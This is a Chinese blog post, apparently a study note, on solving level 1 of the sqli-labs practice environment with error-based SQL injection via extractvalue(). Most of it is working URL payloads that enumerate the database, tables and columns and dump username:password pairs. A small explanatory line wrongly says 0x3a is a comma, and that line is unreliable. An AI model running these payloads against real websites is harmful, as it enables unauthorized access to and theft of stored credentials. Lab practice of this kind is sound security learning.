sqli-labs第一关--报错注入练习

# extractvalue 报错注入查询语句:

SQL注入模板:?id=正确值'and(select extractvalue(anything,concat('0x7e',(select语句))))--+

查数据库名:?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

爆表名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

爆字段名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) --+

爆数据:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

# 注:
与第一种方法不同的是:报错注入使用的 id = 正确值

函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。

0x7e = ~ :加个波浪线,看着更加舒服。

# 检查一下报错注入点:
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败

 

 

 

 

 

 

# 构造 payload 来获取数据库信息:

?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+

 

 

# 构造 payload 来获取数据表

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

?id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+   通过当前指定的库查看表名

 

 

 

 

# 构造 payload 来获取数据库字段名:

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")))) --+

# 回显了,但是并没有完全回显使用 not in:重新构造 payload

and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') )))) --+

 

 

 

# 构造 payload 来获取数据库中的数据信息:

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+

# 回显了,但是没有完全回显,使用 not in 重构 payload :
where username not in ('Dumb','I-kill-you')

?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+

# 注:
0x3a = ,

 

posted @ 2022-08-16 11:03  晨起的太阳  阅读(184)  评论(0编辑  收藏  举报